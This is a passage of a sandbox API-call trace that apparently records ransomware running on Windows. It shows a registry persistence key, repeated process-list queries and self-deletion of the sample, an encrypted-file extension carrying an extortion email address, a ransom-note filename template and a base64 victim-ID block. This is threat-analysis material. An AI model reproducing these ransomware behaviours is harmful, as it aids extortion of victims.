	[0059.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x24) returned 0x2d77e40
	[0059.810] wcscpy (in: _Dest=0x2d77e40, _Source="software\\" | out: _Dest="software\\") returned="software\\"
	[0059.810] wcscat (in: _Dest=0x2d77e40, _Source="c3f7e2c9" | out: _Dest="software\\c3f7e2c9") returned="software\\c3f7e2c9"
	[0059.810] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="software\\c3f7e2c9", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf013f, lpSecurityAttributes=0x0, phkResult=0x272f9ac, lpdwDisposition=0x0 | out: phkResult=0x272f9ac*=0x2dc, lpdwDisposition=0x0) returned 0x0
	[0059.811] RegSetValueExW (in: hKey=0x2dc, lpValueName="c3f7e2c9", Reserved=0x0, dwType=0x3, lpData=0x2d78aa8*, cbData=0x8c | out: lpData=0x2d78aa8*) returned 0x0
	[0059.811] RegFlushKey (hKey=0x2dc) returned 0x0
	[0059.869] RegCloseKey (hKey=0x2dc) returned 0x0
	[0059.869] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e40) returned 1
	[0059.869] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78aa8) returned 1
	[0059.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1024) returned 0x2d7c370
	[0059.870] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.875] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x2048) returned 0x2d7c370
	[0059.875] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.875] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x306c) returned 0x2d7c370
	[0059.875] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.876] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x4090) returned 0x2d7c370
	[0059.876] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.876] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x50b4) returned 0x2d7c370
	[0059.876] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.877] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x60d8) returned 0x2d7c370
	[0059.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.877] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x70fc) returned 0x2d7c370
	[0059.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.880] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x8120) returned 0x2d7c370
	[0059.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.880] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x9144) returned 0x2d7c370
	[0059.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.881] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0xa168) returned 0x2d7c370
	[0059.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.882] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0xb18c) returned 0x2d7c370
	[0059.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.883] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0xc1b0) returned 0x2d7c370
	[0059.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.883] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0xd1d4) returned 0x2d7c370
	[0059.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.884] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0xe1f8) returned 0x2d7c370
	[0059.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.884] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0xf21c) returned 0x2d7c370
	[0059.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.885] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x10240) returned 0x2d7c370
	[0059.885] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.885] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x11264) returned 0x2d7c370
	[0059.885] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.886] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x12288) returned 0x2d7c370
	[0059.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.886] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x132ac) returned 0x2d7c370
	[0059.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.887] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x142d0) returned 0x2d7c370
	[0059.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.887] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x152f4) returned 0x2d7c370
	[0059.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.888] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x16318) returned 0x2d7c370
	[0059.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.888] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x1733c) returned 0x2d7c370
	[0059.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.889] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x18360) returned 0x2d7c370
	[0059.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.889] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x19384) returned 0x2d7c370
	[0059.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.890] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x1a3a8) returned 0x2d7c370
	[0059.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.891] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x1b3cc) returned 0x2d96720
	[0059.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d96720, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2d96720, ResultLength=0x0) returned 0xc0000004
	[0059.893] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d96720, Size=0x1c3f0) returned 0x2d96720
	[0059.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d96720, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2d96720, ResultLength=0x0) returned 0xc0000004
	[0059.894] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d96720, Size=0x1d414) returned 0x2db2b18
	[0059.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2db2b18, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2db2b18, ResultLength=0x0) returned 0xc0000004
	[0059.896] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2db2b18, Size=0x1e438) returned 0x2db2b18
	[0059.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2db2b18, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2db2b18, ResultLength=0x0) returned 0xc0000004
	[0059.897] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2db2b18, Size=0x1f45c) returned 0x2d7c370
	[0059.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.897] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x20480) returned 0x2d7c370
	[0059.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.898] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x214a4) returned 0x2d7c370
	[0059.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.899] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x224c8) returned 0x2d7c370
	[0059.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.899] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x234ec) returned 0x2d7c370
	[0059.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.900] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x24510) returned 0x2d7c370
	[0059.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0xc0000004
	[0059.900] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d7c370, Size=0x25534) returned 0x2d7c370
	[0059.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2d7c370, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x2d7c370, ResultLength=0x0) returned 0x0
	[0059.901] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c370) returned 1
	[0059.901] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wwllww.vexe.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wwllww.vexe.exe")) returned 1
	[0059.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5ad10) returned 1
	[0059.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6) returned 0x2d75f00
	[0059.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc) returned 0x2d7a6a8
	[0059.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x28) returned 0x2d78260
	[0059.908] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt"
	[0059.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd) returned 0x2d7a798
	[0059.908] strstr (_Str="*-Readme.txt", _SubStr="{ID}") returned 0x0
	[0059.908] RtlInitAnsiString (in: DestinationString=0x272f9d0, SourceString="*-Readme.txt" | out: DestinationString="*-Readme.txt") 
	[0059.908] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9d8, SourceString="*-Readme.txt", AllocateDestinationString=1 | out: DestinationString="*-Readme.txt") returned 0x0
	[0059.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1a) returned 0x2d76e30
	[0059.908] RtlFreeAnsiString (AnsiString="*") 
	[0059.908] strstr (_Str=".mailto[{mail1}].{id}", _SubStr="{id}") returned="{id}"
	[0059.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x17) returned 0x2d79a40
	[0059.908] strstr (_Str=".mailto[{mail1}].c3f7e", _SubStr="{id}") returned 0x0
	[0059.908] strstr (_Str=".mailto[{mail1}].c3f7e", _SubStr="{ID}") returned 0x0
	[0059.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x17) returned 0x2d79a80
	[0059.908] strcpy (in: _Dest=0x2d79a80, _Source=".mailto[{mail1}].c3f7e" | out: _Dest=".mailto[{mail1}].c3f7e") returned=".mailto[{mail1}].c3f7e"
	[0059.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79a40) returned 1
	[0059.908] strstr (_Str=".mailto[{mail1}].c3f7e", _SubStr="{mail1}") returned="{mail1}].c3f7e"
	[0059.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x24) returned 0x2d77f60
	[0059.909] strstr (_Str=".mailto[kkeessnnkkaa@cock.li].c3f7e", _SubStr="{mail1}") returned 0x0
	[0059.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79a80) returned 1
	[0059.909] strstr (_Str=".mailto[kkeessnnkkaa@cock.li].c3f7e", _SubStr="{mail2}") returned 0x0
	[0059.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x24) returned 0x2d77db0
	[0059.909] strcpy (in: _Dest=0x2d77db0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest=".mailto[kkeessnnkkaa@cock.li].c3f7e") returned=".mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0059.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f60) returned 1
	[0059.909] RtlInitAnsiString (in: DestinationString=0x272f9d0, SourceString=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: DestinationString=".mailto[kkeessnnkkaa@cock.li].c3f7e") 
	[0059.909] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9d8, SourceString=".mailto[kkeessnnkkaa@cock.li].c3f7e", AllocateDestinationString=1 | out: DestinationString=".mailto[kkeessnnkkaa@cock.li].c3f7e") returned 0x0
	[0059.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2d64358
	[0059.909] RtlFreeAnsiString (AnsiString=".") 
	[0059.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe) returned 0x2d7a5b8
	[0059.909] wcscpy (in: _Dest=0x2d7a5b8, _Source="." | out: _Dest=".") returned="."
	[0059.909] wcscat (in: _Dest=0x2d7a5b8, _Source="c3f7e" | out: _Dest=".c3f7e") returned=".c3f7e"
	[0059.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2d64628
	[0059.909] wcscpy (in: _Dest=0x2d64628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest=".mailto[kkeessnnkkaa@cock.li].c3f7e") returned=".mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0059.909] strstr (_Str="{ID}-Readme.txt", _SubStr="{id}") returned 0x0
	[0059.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10) returned 0x2d7a7e0
	[0059.909] strcpy (in: _Dest=0x2d7a7e0, _Source="{ID}-Readme.txt" | out: _Dest="{ID}-Readme.txt") returned="{ID}-Readme.txt"
	[0059.909] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt"
	[0059.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11) returned 0x2d79a40
	[0059.909] strstr (_Str="C3F7E-Readme.txt", _SubStr="{ID}") returned 0x0
	[0059.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a7e0) returned 1
	[0059.909] strstr (_Str="C3F7E-Readme.txt", _SubStr="{mail1}") returned 0x0
	[0059.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11) returned 0x2d79be0
	[0059.910] strcpy (in: _Dest=0x2d79be0, _Source="C3F7E-Readme.txt" | out: _Dest="C3F7E-Readme.txt") returned="C3F7E-Readme.txt"
	[0059.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79a40) returned 1
	[0059.910] strstr (_Str="C3F7E-Readme.txt", _SubStr="{mail2}") returned 0x0
	[0059.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11) returned 0x2d79c40
	[0059.910] strcpy (in: _Dest=0x2d79c40, _Source="C3F7E-Readme.txt" | out: _Dest="C3F7E-Readme.txt") returned="C3F7E-Readme.txt"
	[0059.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79be0) returned 1
	[0059.910] RtlInitAnsiString (in: DestinationString=0x272f9d0, SourceString="C3F7E-Readme.txt" | out: DestinationString="C3F7E-Readme.txt") 
	[0059.910] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9d8, SourceString="C3F7E-Readme.txt", AllocateDestinationString=1 | out: DestinationString="C3F7E-Readme.txt") returned 0x0
	[0059.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x22) returned 0x2d77de0
	[0059.910] RtlFreeAnsiString (AnsiString="C") 
	[0059.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x89) returned 0x2d79000
	[0059.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0059.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0059.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0059.910] NtQuerySystemTime (in: CurrentTime=0x272f940 | out: CurrentTime=0x272f940*=132251867866530365) returned 0x0
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x7c4fc89a
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xaf9d694d
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xae461a24
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x6e217e42
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xdade6910
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xfc10d4ea
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x875ac9c7
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xfd9fd3a5
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xe78ca75f
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xfdae4002
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xdd5a3261
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xe5a3ebe7
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x218afe3c
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xfa4d737b
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x186f1950
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x1a96345c
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xa691e609
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xde60afa4
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xb2b4335d
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xecadce76
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xa213ebef
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x7a04497e
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xdd55adeb
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x32c02987
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x5fe40ca0
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x6d21654f
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x4ae96aea
	[0059.910] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x471356e8
	[0059.911] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x45c5ce3d
	[0059.911] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0x9da82182
	[0059.911] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xca5f7154
	[0059.911] RtlRandom (in: Seed=0x272f94c | out: Seed=0x272f94c) returned 0xd19ad9bd
	[0059.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d5a460
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d770d8
	[0059.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a460) returned 1
	[0059.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0059.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73300
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d5a460
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0059.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7b780
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77218
	[0059.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77218) returned 1
	[0059.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a460) returned 1
	[0059.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73300) returned 1
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2d58ba0
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11d) returned 0x2d5b2a8
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12d) returned 0x2d62e78
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb) returned 0x2d7a768
	[0059.914] sprintf (in: _Dest=0x2d7a768, _Format="%0.8x" | out: _Dest="345f15fb") returned 8
	[0059.914] strstr (_Str="{code_ph_id:\r\nb64}", _SubStr="ph") returned="ph_id:\r\nb64}"
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x19) returned 0x2d771a0
	[0059.914] strstr (_Str="{code_345f15fb_id:\r\nb64}", _SubStr="ph") returned 0x0
	[0059.914] strstr (_Str="{code_345f15fb_id:\r\nb64}", _SubStr="id") returned="id:\r\nb64}"
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1c) returned 0x2d77218
	[0059.914] strstr (_Str="{code_345f15fb_c3f7e:\r\nb64}", _SubStr="id") returned 0x0
	[0059.914] strstr (_Str="{code_345f15fb_c3f7e:\r\nb64}", _SubStr="b64") returned="b64}"
	[0059.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13f) returned 0x2d5c6e8
	[0059.914] strstr (_Str="{code_345f15fb_c3f7e:\r\njMmpXrPm7Kpgv3tTX6ce0EcbLgxPisuuXKwtY7n28e2vtWQxTs\r\nvrWPmX/Tp3CT0omJearnWJjZOkrXJ5KxR5hHlUlgTonIJI+xVf\r\nNINq8HysqBj7uZxIAzn2kjCIekhK3m9EhDhO7/fH8Rwb5hA5pm\r\nZRXGtvz1qWjShy9yEzXAbeBTtyVeKbvYq2t0ojt+hu0CHE4TqN\r\nX9saMIeSmH0qV+jLhrB3BHk1aXEDRgcceZSwX8K+VociDlbVMh\r\naZ2wnj6btmWmAvr+8cxFpfhh72gUhGY9g=}", _SubStr="b64") returned 0x0
	[0059.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77218) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d771a0) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a768) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0059.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
